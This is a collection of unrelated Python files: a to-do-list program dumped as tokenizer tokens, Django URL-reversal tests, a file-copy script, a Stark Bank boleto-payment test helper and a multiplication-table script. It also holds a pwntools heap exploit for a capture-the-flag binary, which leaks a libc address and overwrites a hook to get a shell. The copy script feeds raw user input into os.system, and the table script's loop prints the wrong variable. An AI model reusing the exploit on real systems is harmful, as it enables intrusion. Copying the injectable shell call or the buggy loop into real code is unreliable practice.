"ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġkey", "Ġ==", "Ġ", "2", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġkey", "Ġ=", "Ġ", "1", "Ġ", "Ġ#", "ĠIf", "Ġthe", "Ġrandom", "Ġnumber", "Ġis", "Ġ", "2", ",", "Ġset", "Ġit", "Ġto", "Ġone", "Ġso", "Ġthat", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġthe", "Ġsame", "Ġnumber", "Ġ(", "2", ")", "Ġcannot", "Ġbe", "Ġused", "Ġas", "Ġthe", "Ġverification", "Ġnumber", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġresult", "2", "Ġ=", "Ġint", "(", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġclean", "_", "input", "(", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "Are", "Ġyou", "Ġsure", "Ġyou", "Ġwant", "Ġto", "Ġdelete", "Ġall", "Ġ\"", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "of", "Ġyour", "Ġsaved", "Ġdata", "\\", "n", "Enter", "Ġ{", "0", "}", "Ġto", "Ġ\"", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "proceed", ",", "Ġor", "Ġanything", "Ġelse", "Ġto", "Ġ\"", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "cancel", "\".", "format", "(", "str", "(", "key", "))", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ)", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ)", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġresult", "2", "Ġ==", "Ġkey", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġdata", "_", "file", "_", "w", "Ġ=", "Ġopen", "(\"", "C", ":", "Item", "_", "List", ".", "txt", "\",", "Ġ\"", "w", "\")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġdata", "_", "file", "_", "w", ".", "close", "()", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġtodo", "Ġ=", "Ġ[]", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Save", "ĠData", "ĠE", "rase", "d", "\")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "Ġtodo", "Ġ", "Ġ#", "ĠReturn", "Ġan", "Ġempty", "Ġlist", "Ġif", "Ġfile", "Ġload", "Ġfailed", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Program", "ĠExit", "ing", "\")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġquit", "(", "1", ")", "ĊĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Program", "ĠExit", "ing", "\")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġquit", "(", "1", ")", "Ġ", "Ġ#", "ĠExit", "Ġthe", "Ġprogram", "Ġwith", "Ġthe", "Ġexit", "Ġcode", "Ġof", "Ġ", "1", "ĊĠĠĠ", "Ġdata", "_", "file", "_", "r", ".", "close", "()", "ĊĠĠĠ", "Ġ#", "ĠAll", "Ġthe", "Ġlist", "Ġfunctions", "Ġabove", "Ġreferenced", "Ġfrom", "Ġw", "3", "sch", "ools", ".", "com", "ĠWhat", "Ġis", "ĊĠĠĠ", "Ġ#", "Ġhappening", "Ġabove", ":", "ĠOpen", "ing", "Ġthe", "Ġfile", ",", "Ġinitializing", "Ġa", "Ġlist", "Ġto", "Ġhold", "Ġall", "ĊĠĠĠ", "Ġ#", "Ġfour", "Ġpieces", "Ġof", "Ġdata", ",", "Ġthen", "Ġafter", "Ġpulling", "Ġthe", "Ġdata", "Ġfrom", "Ġthe", "Ġfile", "Ġand", "ĊĠĠĠ", "Ġ#", "Ġstoring", "Ġin", "Ġthe", "Ġlist", ",", "Ġit", "Ġis", "Ġcopied", "Ġ(", "not", "Ġreferenced", ")", "Ġinto", "Ġmy", "Ġmain", "Ġlist", "ĊĠĠĠ", "Ġ#", "Ġof", "ĠListItem", "Ġobjects", "ĊĠĠĠ", "Ġreturn", "Ġtodo", "ĊĊ", "Ċ", "def", "Ġsave", "_", "list", "(", "todo", "_", "list", ",", "Ġsave", "_", "location", "):", "ĊĠĠĠ", "Ġ\"\"\"", "The", "Ġpurpose", "Ġof", "Ġthis", "Ġfunction", "Ġis", "Ġto", "Ġsave", "Ġa", "Ġlist", "Ġof", "ĠListItem", "Ġobjects", "Ġto", "Ġa", "ĊĠĠĠ", "Ġspecified", "Ġlocation", "Ġin", "Ġa", "Ġ.", "txt", "Ġfile", "Ġwith", "Ġthe", "Ġfirst", "Ġline", "Ġof", "Ġthe", "Ġdocument", "ĊĠĠĠ", "Ġbeing", "Ġan", "Ġexplanation", "Ġof", "Ġthe", "Ġfile", "Ġformat", "Ġbeing", "Ġused", ".", "ĊĠĠĠ", "Ġ:", "param", "Ġtodo", "_", "list", ":", "Ġthe", "Ġlist", "Ġof", "ĠListItem", "Ġobjects", "Ġto", "Ġsave", "Ġto", "Ġthe", "Ġsave", "Ġfile", "ĊĠĠĠ", "Ġ:", "param", "Ġsave", "_", "location", ":", "Ġthe", "Ġlocation", "Ġto", "Ġcreate", "Ġor", "Ġoverwrite", "Ġthe", "Ġsave", "Ġfile", "ĊĠĠĠ", "Ġ:", "returns", "Ġnothing", "\"\"\"", "ĊĠĠĠ", "Ġdata", "_", "file", "_", "w", "Ġ=", "Ġopen", "(", "save", "_", "location", ",", "Ġ\"", "w", "\")", "Ġ", "Ġ#", "Ġopen", "Ġthe", "Ġsave", "Ġfile", "Ġand", "Ġclear", "Ġthe", "Ġdata", "Ġfrom", "Ġit", "ĊĠĠĠ", "Ġdata", "_", "file", "_", "w", ".", "write", "(", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Warning", ":", "ĠThe", "ĠTodo", "-", "List", "ĠProgram", "Ġwill", "Ġnot", "Ġbe", "Ġable", "Ġto", "Ġ\"", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "load", "Ġthis", "Ġsave", "Ġfile", "Ġif", "Ġit", "Ġis", "Ġincorrectly", "Ġmodified", ".", "Ġ\"", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Modify", "Ġat", "Ġyour", "Ġown", "Ġrisk", ".", "ĠThe", "Ġstructure", "Ġis", "ĠEntry", "Ġ\"", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Text", ",", "ĠEntry", "ĠPriority", "Ġas", "Ġa", "Ġnumber", ",", "ĠEntry", "ĠGroup", "Ġas", "Ġa", "Ġ\"", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "number", "Ġ(", "Not", "ĠY", "et", "ĠUtil", "ized", ",", "Ġbut", "Ġnecessary", "),", "Ġand", "ĠEntry", "Ġ\"", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Visibility", "Ġas", "Ġa", "Ġboolean", ",", "Ġeach", "Ġon", "Ġa", "Ġseparate", "Ġline", ",", "Ġa", "Ġ\"", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "single", "Ġline", "Ġgap", "Ġin", "Ġbetween", ",", "Ġand", "Ġthe", "Ġ\"", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "very", "Ġfirst", "Ġline", "Ġis", "Ġskipped", "\\", "n", "\"", "ĊĠĠĠ", "Ġ)", "ĊĠĠĠ", "Ġfor", "Ġitem", "Ġin", "Ġtodo", "_", "list", ":", "ĊĠĠĠĠĠĠĠ", "Ġdata", "_", "file", "_", "w", ".", "write", "(\"{", "0", "}\\", "n", "{", "1", "}\\", "n", "{", "2", "}\\", "n", "{", "3", "}\\", "n", "\\", "n", "\".", "format", "(", "item", ".", "text", ",", "Ġstr", "(", "item", ".", "priority", "),", "Ġstr", "(", "item", ".", "group", "),", "Ġstr", "(", "item", ".", "visible", ")))", "ĊĠĠĠ", "Ġdata", "_", "file", "_", "w", ".", "close", "()", "ĊĠĠĠ", "Ġreturn", "ĊĊ", "Ċ", "def", "Ġadd", "_", "item", "(", "todo", "_", "list", "):", "ĊĠĠĠ", "Ġ\"\"\"", "The", "Ġpurpose", "Ġof", "Ġthis", "Ġfunction", "Ġis", "Ġto", "Ġprompt", "Ġthe", "Ġuser", "Ġfor", "Ġthe", "Ġtwo", "ĊĠĠĠ", "Ġfields", "Ġof", "Ġnecessary", "Ġinformation", "Ġto", "Ġmake", "Ġa", "Ġnew", "Ġentry", "Ġin", "Ġthe", "Ġtodo", "Ġlist", ",", "ĊĠĠĠ", "Ġthe", "Ġitem", "Ġname", "Ġand", "Ġpriority", ",", "Ġchecking", "Ġif", "Ġthe", "Ġpriority", "Ġoverlap", "s", "Ġwith", "Ġan", "ĊĠĠĠ", "Ġexisting", "Ġentry", "Ġin", "Ġthe", "Ġtodo", "Ġlist", ".", "ĊĠĠĠĠ", "Ġ:", "param", "Ġtodo", "_", "list", ":", "Ġthe", "Ġlist", "Ġof", "ĠListItem", "Ġobjects", "Ġto", "Ġadd", "Ġa", "Ġnew", "ĠListItem", "ĊĠĠĠĠ", "Ġobject", "Ġto", "ĊĠĠĠĠ", "Ġ:", "returns", "Ġnothing", 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"ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "Please", "Ġenter", ":", "Ġ", "1", "Ġfor", "ĠAdd", "ĠItem", ",", "Ġ", "2", "Ġfor", "Ġ\"", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "Remove", "ĠItem", ",", "Ġ", "3", "Ġfor", "ĠEdit", "ĠItem", ",", "Ġ\"", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "4", "Ġfor", "ĠMark", "ĠItem", "ĠComplete", ",", "Ġ\"", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "5", "Ġfor", "ĠToggle", "ĠHidden", ",", "Ġand", "Ġ", "6", "Ġfor", "Ġ\"", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "Exit", ",", "Ġ", "7", "Ġfor", "ĠConcept", "Ġ\"", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "D", "emon", "stration", "\\", "n", "\"", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ)", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ)", "ĊĠĠĠĠĠĠĠ", "Ġelif", "Ġlist", "_", "status", "Ġ==", "Ġ", "1", ":", "Ġ", "Ġ#", "ĠEmpty", "ĠList", "Ġ-", "ĠNo", "ĠRemove", ",", "ĠEdit", ",", "ĠMark", ",", "Ġor", "ĠToggle", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġselection", "Ġ=", "Ġint", "(", "clean", "_", "input", "(\"", "Please", "Ġenter", ":", "Ġ", "1", "Ġfor", "ĠAdd", "ĠItem", ",", "Ġand", "Ġ", "6", "Ġfor", "ĠExit", ",", "Ġ", "7", "Ġfor", "ĠConcept", "ĠD", "emon", "stration", "\\", "n", "\"))", "ĊĠĠĠĠĠĠĠ", "Ġelse", ":", "Ġ", "Ġ#", "ĠEnt", "ire", "ly", "ĠHidden", "ĠList", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġselection", "Ġ=", "Ġint", "(", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġclean", "_", "input", "(\"", "Please", "Ġenter", ":", "Ġ", "1", "Ġfor", "ĠAdd", "ĠItem", ",", "Ġ", "5", "Ġfor", "ĠToggle", "ĠHidden", ",", "Ġand", "Ġ", "6", "Ġfor", "ĠExit", ",", "Ġ", "7", "Ġfor", "ĠConcept", "ĠD", "emon", "stration", "\\", "n", "\")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ)", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "ĠUses", "Ġthe", "Ġclean", "_", "input", "Ġfunction", "Ġabove", "Ġto", "Ġget", "Ġa", "Ġnumber", "Ġfrom", "Ġthe", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġuser", ",", "Ġconverting", "Ġit", "Ġto", "Ġan", "Ġint", "Ġso", "Ġa", "Ġdecimal", "Ġwon", "'t", "Ġreturn", "Ġan", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġinvalid", "Ġinput", "Ġin", "Ġthe", "Ġfollowing", "Ġsteps", "ĊĠĠĠĠĠĠĠ", "Ġprint", "(\"\")", "Ġ", "Ġ#", "ĠBl", "ank", "ĠPrint", "Ġstatement", "Ġto", "Ġadd", "Ġan", "Ġextra", "Ġblank", "Ġline", "Ġafter", "ĊĠĠĠĠĠĠĠ", "Ġ#", "Ġuser", "Ġinput", "Ġbefore", "Ġdisplaying", "Ġresponse", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġselection", "Ġ==", "Ġ", "1", ":", "Ġ", "Ġ#", "ĠAdd", "ĠItem", "Ġ-", "Ġmodify", "Ġthe", "Ġlist", "Ġvariable", ",", "Ġthen", "Ġsave", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġto", "Ġfile", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġadd", "_", "item", "(", "todo", "_", "list", ")", "ĊĠĠĠĠĠĠĠ", "Ġelif", "Ġselection", "Ġ==", "Ġ", "2", ":", "Ġ", "Ġ#", "ĠRemove", "ĠItem", "Ġ-", "Ġmodify", "Ġthe", "Ġlist", "Ġvariable", ",", "Ġthen", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġsave", "Ġto", "Ġfile", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġlist", "_", "status", "Ġ==", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġremove", "_", "item", "(", "todo", "_", "list", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelif", "Ġlist", "_", "status", "Ġ==", "Ġ", "2", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Invalid", "ĠCommand", ":", "ĠThe", "ĠTodo", "ĠList", "Ġhas", "Ġno", "Ġvisible", "Ġitems", "Ġto", "Ġremove", "\")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Invalid", "ĠCommand", ":", "ĠThe", "ĠTodo", "ĠList", "Ġhas", "Ġno", "Ġitems", "Ġto", "Ġremove", "\")", "ĊĠĠĠĠĠĠĠ", "Ġelif", "Ġselection", "Ġ==", "Ġ", "3", ":", "Ġ", "Ġ#", "ĠEdit", "ĠItem", "Ġ-", "Ġmodify", "Ġthe", "Ġlist", "Ġvariable", ",", "Ġthen", "Ġsave", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġto", "Ġfile", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġlist", "_", "status", "Ġ==", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġedit", "_", "item", "(", "todo", "_", "list", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelif", "Ġlist", "_", "status", "Ġ==", "Ġ", "2", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Invalid", "ĠCommand", ":", "ĠThe", "ĠTodo", "ĠList", "Ġhas", "Ġno", "Ġvisible", "Ġitems", "Ġto", "Ġedit", "\")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Invalid", "ĠCommand", ":", "ĠThe", "ĠTodo", "ĠList", "Ġhas", "Ġno", "Ġitems", "Ġto", "Ġedit", "\")", "ĊĠĠĠĠĠĠĠ", "Ġelif", "Ġselection", "Ġ==", "Ġ", "4", ":", "Ġ", "Ġ#", "ĠMark", "ĠItem", "ĠComplete", "Ġ-", "Ġmodify", "Ġthe", "Ġlist", "Ġvariable", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġthen", "Ġsave", "Ġto", "Ġfile", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġlist", "_", "status", "Ġ==", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġmark", "_", "complete", "(", "todo", "_", "list", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelif", "Ġlist", "_", "status", "Ġ==", "Ġ", "2", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Invalid", "ĠCommand", ":", "ĠThe", "ĠTodo", "ĠList", "Ġhas", "Ġno", "Ġvisible", "Ġitems", "Ġto", "Ġmark", "Ġcomplete", "\")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Invalid", "ĠCommand", ":", "ĠThe", "ĠTodo", "ĠList", "Ġhas", "Ġno", "Ġitems", "Ġto", "Ġmark", "Ġcomplete", "\")", "ĊĠĠĠĠĠĠĠ", "Ġelif", "Ġselection", "Ġ==", "Ġ", "5", ":", "Ġ", "Ġ#", "ĠShow", "ĠHidden", "Ġ-", "Ġmodify", "Ġthe", "Ġlist", "Ġvariable", ",", "Ġthen", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġsave", "Ġto", "Ġfile", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġlist", "_", "status", "Ġ==", "Ġ", "0", "Ġor", "Ġlist", "_", "status", "Ġ==", "Ġ", "2", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġshow", "_", "hidden", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "No", "Ġlonger", "Ġshowing", "Ġhidden", "Ġitems", "\")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġshow", "_", "hidden", "Ġ=", "ĠFalse", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Now", "Ġshowing", "Ġhidden", "Ġitems", "\")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġshow", "_", "hidden", "Ġ=", "ĠTrue", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Invalid", "ĠCommand", ":", "ĠThe", "ĠTodo", "ĠList", "Ġhas", "Ġno", "Ġitems", "Ġto", "Ġshow", "Ġor", "Ġhide", "\")", "ĊĠĠĠĠĠĠĠ", "Ġelif", "Ġselection", "Ġ==", "Ġ", "6", ":", "Ġ", "Ġ#", "ĠExit", "ĠProgram", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Now", "ĠClosing", "\")", "ĊĠĠĠĠĠĠĠ", "Ġelif", "Ġselection", "Ġ==", "Ġ", "7", ":", "Ġ", "Ġ#", "ĠExtra", "Ġsection", "Ġto", "Ġdemonstrate", "Ġprof", "iciency", "Ġwith", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġtopics", "Ġcovered", "Ġin", "Ġclass", "Ġ-", "ĠS", "print", "Ġ", "1", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġconcept", "_", "de", "mon", "stration", "()", "ĊĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġinvalid", "_", "input", "Ġ=", "ĠTrue", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Invalid", "ĠInput", "\\", "n", "Please", "ĠTry", "ĠAgain", "\")", "ĊĊ", "Ċ", "def", "Ġmain", "():", "ĊĠĠĠ", "Ġ\"\"\"", "The", "Ġpurpose", "Ġof", "Ġthis", "Ġfunction", "Ġis", "Ġto", "Ġensure", "Ġthe", "Ġsave", "Ġfile", "Ġexists", "Ġat", "Ġthe", "ĊĠĠĠ", "Ġspecified", "Ġsave", "Ġfile", "Ġlocation", ",", "Ġload", "Ġthe", "Ġsave", "Ġfile", "Ġinto", "Ġmemory", ",", "Ġdisplay", "Ġa", "ĊĠĠĠ", "Ġwelcome", "Ġmessage", "Ġwith", "Ġa", "Ġdivider", ",", "Ġthen", "Ġstart", "Ġthe", "Ġmenu", "Ġloop", "Ġuntil", "Ġthe", "ĊĠĠĠ", "Ġprogram", "Ġis", "Ġclosed", "ĊĠĠĠ", "Ġ:", "returns", "Ġnothing", "\"\"\"", "ĊĠĠĠ", "Ġsave", "_", "file", "_", "location", "Ġ=", "Ġ\"", "Item", "_", "List", ".", "txt", "\"", "ĊĠĠĠ", "Ġdata", "_", "file", "_", "a", "Ġ=", "Ġopen", "(", "save", "_", "file", "_", "location", ",", "Ġ\"", "a", "\")", "Ġ", "Ġ#", "ĠOpen", "s", "ĠItem", "List", ".", "txt", "Ġwhich", "ĊĠĠĠ", "Ġ#", "Ġis", "Ġaccessible", "Ġin", "Ġthe", "Ġfile", "Ġvariable", ",", "Ġin", "Ġappend", "Ġmode", "Ġ(", "using", "Ġthis", "Ġso", "Ġthat", "ĊĠĠĠ", "Ġ#", "Ġif", "Ġthe", "Ġfile", "Ġexists", ",", "Ġnothing", "Ġhappens", ",", "Ġbut", "Ġif", "Ġit", "Ġdoes", "Ġnot", "Ġexist", ",", "Ġit", "Ġgets", "ĊĠĠĠ", "Ġ#", "Ġcreated", "Ġfrom", "Ġw", "3", "sch", "ools", ".", "com", "ĊĠĠĠ", "Ġdata", "_", "file", "_", "a", ".", "close", "()", "Ġ", "Ġ#", "ĠClose", "Ġthe", "Ġfile", ",", "ĠI", "Ġnow", "Ġknow", "Ġit", "Ġexists", "ĊĠĠĠ", "Ġloaded", "_", "list", "Ġ=", "Ġload", "_", "from", "_", "file", "(", "save", "_", "file", "_", "location", ")", "ĊĠĠĠ", "Ġprint", "(\"", "Welcome", "Ġto", "Ġthe", "ĠTo", "-", "Do", "ĠList", "Ġ-", "ĠVersion", ":", "Ġ", "0", ".", "1", ".", "2", "\")", "ĊĠĠĠ", "Ġdivider", "(", "4", "2", ")", "Ġ", "Ġ#", "ĠLength", "Ġof", "Ġwelcome", "Ġstatement", "Ġabove", "ĊĠĠĠ", "Ġmenu", "_", "loop", "(", "loaded", "_", "list", ",", "Ġsave", "_", "file", "_", "location", ")", "ĊĊ", "Ċ", "if", "Ġ__", "name", "__", "Ġ==", "Ġ\"__", "main", "__\":", "ĊĠĠĠ", "Ġmain", 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b7ccb41c43a0db6f1bf9e6ba5cef1b9b1417e297
"Unit tests for reverse URL lookup" from django.core.urlresolvers import reverse_helper, NoReverseMatch import re, unittest test_data = ( ("^places/(\d+)/$", "places/3/", [3], {}), ("^places/(\d+)/$", "places/3/", ["3"], {}), ("^places/(\d+)/$", NoReverseMatch, ["a"], {}), ("^places/(\d+)/$", NoReverseMatch, [], {}), ("^places/(?P<id>\d+)/$", "places/3/", [], {"id": 3}), ("^people/(?P<name>\w+)/$", "people/adrian/", ["adrian"], {}), ("^people/(?P<name>\w+)/$", "people/adrian/", [], {"name": "adrian"}), ("^people/(?P<name>\w+)/$", NoReverseMatch, ["name with spaces"], {}), ("^people/(?P<name>\w+)/$", NoReverseMatch, [], {"name": "name with spaces"}), ("^people/(?P<name>\w+)/$", NoReverseMatch, [], {}), ("^hardcoded/$", "hardcoded/", [], {}), ("^hardcoded/$", "hardcoded/", ["any arg"], {}), ("^hardcoded/$", "hardcoded/", [], {"kwarg": "foo"}), ("^people/(?P<state>\w\w)/(?P<name>\w+)/$", "people/il/adrian/", [], {"state": "il", "name": "adrian"}), ("^people/(?P<state>\w\w)/(?P<name>\d)/$", NoReverseMatch, [], {"state": "il", "name": "adrian"}), ("^people/(?P<state>\w\w)/(?P<name>\w+)/$", NoReverseMatch, [], {"state": "il"}), ("^people/(?P<state>\w\w)/(?P<name>\w+)/$", NoReverseMatch, [], {"name": "adrian"}), ("^people/(?P<state>\w\w)/(\w+)/$", NoReverseMatch, ["il"], {"name": "adrian"}), ("^people/(?P<state>\w\w)/(\w+)/$", "people/il/adrian/", ["adrian"], {"state": "il"}), ) class URLPatternReverse(unittest.TestCase): def test_urlpattern_reverse(self): for regex, expected, args, kwargs in test_data: try: got = reverse_helper(re.compile(regex), *args, **kwargs) except NoReverseMatch, e: self.assertEqual(expected, NoReverseMatch) else: self.assertEquals(got, expected) if __name__ == "__main__": run_tests(1)
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778cf8064fa45e3e25a66f2165dcf6885c72fb8a
# This script allows you to copy all files with a certain extention to a new folder without integrating the sub folders # Created by Maurice de Kleijn Vrije Universiteit Amsterdam Spatial Information laboratory for the datamanagement of the the archaological project Barin Hoyuk # 22062016 Python 2.7 import shutil import os org_GIS = raw_input("provide path to GIS folder in dropbox : eg. C:\Dropbox\Barcin_Hoyuk\AIS_Barcin_Hoyuk\AIS\GIS\\: ") outputfolder = raw_input("provide path to output folder : eg. C:\Temp\: ") ext = raw_input("provide extention type to be copied eg .tif or .jpg :") os.system("dir " + org_GIS + "*" + ext + " /s/d/b >" + org_GIS + "tempext.txt") file1 = open(org_GIS + "tempext.txt", "r") lines = file1.readlines() for line in lines: ln = line.rstrip("\n") shutil.copy(ln, outputfolder) file1.close() os.system("del " + org_GIS + "tempext.txt") raw_input("done!")
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5eb4c71869b077dac0d61072c99d801030395fc2
from pwn import * p = process("./weeb_hunting") elf = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") pwnlib.gdb.attach(p) r = p.recv() while "You found a" not in r: r = p.recvuntil(">") p.send("AAAA\n") p.send("AAAA\n") r = p.recv() while "You found a" not in r: r = p.recvuntil(">") p.send("AAAA\n") p.send("AAAA\n") r = p.recv() while "You found a" not in r: r = p.recvuntil(">") p.send("AAAA\n") p.send("\n") r = p.recv() while "You found a" not in r: r = p.recvuntil(">") p.send("\n") p.send("\n") r = p.recv() while "10. empty" not in r: p.send("\n") r = p.recv() p.sendline("1") r = p.recv() while "10. empty" not in r: p.send("\n") r = p.recv() p.sendline("4") r = p.recv() while "You found a" not in r: p.send("\n") r = p.recv() p.sendline("\x41\x22\x60") r = p.recv() while "You found a" not in r: p.send("\n") r = p.recv() p.sendline("AAAA") r = p.recv() while "You found a" not in r: p.send("\n") r = p.recv() p.sendline("AAAA") r = p.recv() while "You found a sword" not in r: p.send("\n") r = p.recv() p.sendline("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA` `") r = p.recv() while "10. empty" not in r: p.send("\n") r = p.recv() __srandom = u64((r.split("1. ")[1].split("\n")[0] + "\x00" * 8)[:8]) log.info(hex(__srandom)) hook = __srandom + 0x38A21D log.info("Fake chunk: " + hex(hook)) p.sendline("2") r = p.recv() while "10. empty" not in r: p.send("\n") r = p.recv() p.sendline("3") r = p.recv() while "10. empty" not in r: p.send("\n") r = p.recv() p.sendline("4") r = p.recv() while "10. empty" not in r: p.send("\n") r = p.recv() p.sendline("3") r = p.recv() while "You found a" not in r: p.send("\n") r = p.recv() p.sendline(p64(hook)[:6]) p.interactive()
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383d3b35fbfb7921111b28c3160173ce1c200387
from copy import deepcopy from datetime import date, timedelta from hashlib import sha256 import starkbank from starkbank import BoletoPayment from .boleto import generateExampleBoletosJson example_payment = BoletoPayment( line="34191.09008 61713.957308 71444.640008 2 83430000984732", scheduled="2020-02-29", description="loading a random account", tax_id="20.018.183/0001-80", ) def generateExampleBoletoPaymentsJson(n=1, next_day=False): boletos = generateExampleBoletosJson(n=n) boletos = starkbank.boleto.create(boletos) payments = [] for boleto in boletos: payment = deepcopy(example_payment) payment.line = boleto.line payment.scheduled = min( (date.today() + timedelta(days=1)) if next_day else date.today(), (boleto.due - timedelta(hours=3)).date() ) payment.description = sha256(str(boleto.id).encode("utf-8")).hexdigest() payments.append(payment) return payments
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e2c69191d81724cac44bebba3111a773e408b7c8
# Print table using while loop tablenumber = int(input("Enter a number: ")) upperlimit = int(input("Enter a upper limit: ")) lowerlimit = int(input("Enter a lower limit: ")) i = upperlimit while i <= lowerlimit: print(i, "*", tablenumber, "=", i * tablenumber) i = i + 1 print("=======================================================") # Printing table using for loop tablenumber = int(input("Enter a number: ")) upperlimit = int(input("Enter a upper limit: ")) lowerlimit = int(input("Enter a lower limit: ")) for foreachnumber in range(upperlimit, lowerlimit + 1): print(i, "*", tablenumber, "=", i * tablenumber) print("=======================================================")
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a513dfd84b5d9267b7e96fedc88e5b6dabeea19e
